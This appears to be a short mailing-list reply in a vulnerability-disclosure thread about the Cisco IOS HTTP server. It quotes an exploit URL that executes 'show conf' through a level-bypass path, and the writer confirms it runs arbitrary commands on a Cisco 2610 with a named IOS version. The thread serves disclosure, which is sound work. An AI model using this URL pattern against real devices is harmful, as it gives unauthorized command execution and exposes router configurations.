Re: Cisco device HTTP exploit...

[Grzegorz Krawczyk]

> A malicious user could use:
> 
> http://169.254.0.15/level/42/exec/show%20conf
I've tested it on CISCO 2610 router with
IOS (tm) C2600 Software (C2600-I-M), Version 12.0(10), RELEASE SOFTWARE
(fc1)
It work.. You can exec any command..

Krawiec